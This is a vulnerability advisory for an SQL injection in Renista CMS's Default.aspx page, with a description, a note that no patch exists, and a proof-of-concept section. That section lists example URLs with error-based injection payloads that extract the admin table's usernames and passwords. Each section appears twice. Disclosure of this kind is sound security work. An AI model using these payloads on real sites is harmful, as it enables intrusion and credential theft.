Renista CMS 'Default.aspx' SQL Injection Vulnerability
BID:40299
Info
Renista CMS 'Default.aspx' SQL Injection Vulnerability
| Bugtraq ID: | 40299 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 20 2010 12:00AM |
| Updated: | May 20 2010 12:00AM |
| Credit: | Amir Afghanian |
| Vulnerable: |
Raya Company Renista CMS 0 |
| Not Vulnerable: | |
Discussion
Renista CMS 'Default.aspx' SQL Injection Vulnerability
Renista CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Renista CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
Renista CMS 'Default.aspx' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/rtl/Default.aspx?ln=Fa&id=3 ' and 1=convert(int,db_name())--
http://www.example.com/rtl/Default.aspx?ln=Fa&id=3 ' and 1=convert(int, SELECT TOP 1 cast(count(*) as nvarchar(4000))%2bchar(126) FROM Portal_BehPardazco..TBAdmin ))--
http://www.example.com/rtl/Default.aspx?ln=Fa&id=3 ' and 1=convert(int, SELECT TOP 1 cast(username as nvarchar(4000))%2bchar(126) FROM (SELECT TOP 1 * FROM Portal_BehPardazco..TBAdmin order by Ln asc) sq order by Ln desc ))--
http://www.example.com/rtl/Default.aspx?ln=Fa&id=3 ' and 1=convert(int, SELECT TOP 1 cast(password as nvarchar(4000))%2bchar(126) FROM (SELECT TOP 1 * FROM Portal_BehPardazco..TBAdmin order by Ln asc) sq order by Ln desc ))--
http://www.example.com/rtl/Default.aspx?ln=Fa&id=3 ' and 1=convert(int, SELECT TOP 1 cast(Name as nvarchar(4000))%2bchar(126) FROM (SELECT TOP 1 * FROM Portal_BehPardazco..TBAdmin order by Ln asc) sq order by Ln desc ))--
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/rtl/Default.aspx?ln=Fa&id=3 ' and 1=convert(int,db_name())--
http://www.example.com/rtl/Default.aspx?ln=Fa&id=3 ' and 1=convert(int, SELECT TOP 1 cast(count(*) as nvarchar(4000))%2bchar(126) FROM Portal_BehPardazco..TBAdmin ))--
http://www.example.com/rtl/Default.aspx?ln=Fa&id=3 ' and 1=convert(int, SELECT TOP 1 cast(username as nvarchar(4000))%2bchar(126) FROM (SELECT TOP 1 * FROM Portal_BehPardazco..TBAdmin order by Ln asc) sq order by Ln desc ))--
http://www.example.com/rtl/Default.aspx?ln=Fa&id=3 ' and 1=convert(int, SELECT TOP 1 cast(password as nvarchar(4000))%2bchar(126) FROM (SELECT TOP 1 * FROM Portal_BehPardazco..TBAdmin order by Ln asc) sq order by Ln desc ))--
http://www.example.com/rtl/Default.aspx?ln=Fa&id=3 ' and 1=convert(int, SELECT TOP 1 cast(Name as nvarchar(4000))%2bchar(126) FROM (SELECT TOP 1 * FROM Portal_BehPardazco..TBAdmin order by Ln asc) sq order by Ln desc ))--
Solution / Fix
Renista CMS 'Default.aspx' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Renista CMS 'Default.aspx' SQL Injection Vulnerability
References:
References:
- Renista CMS Homepage (Raya Company)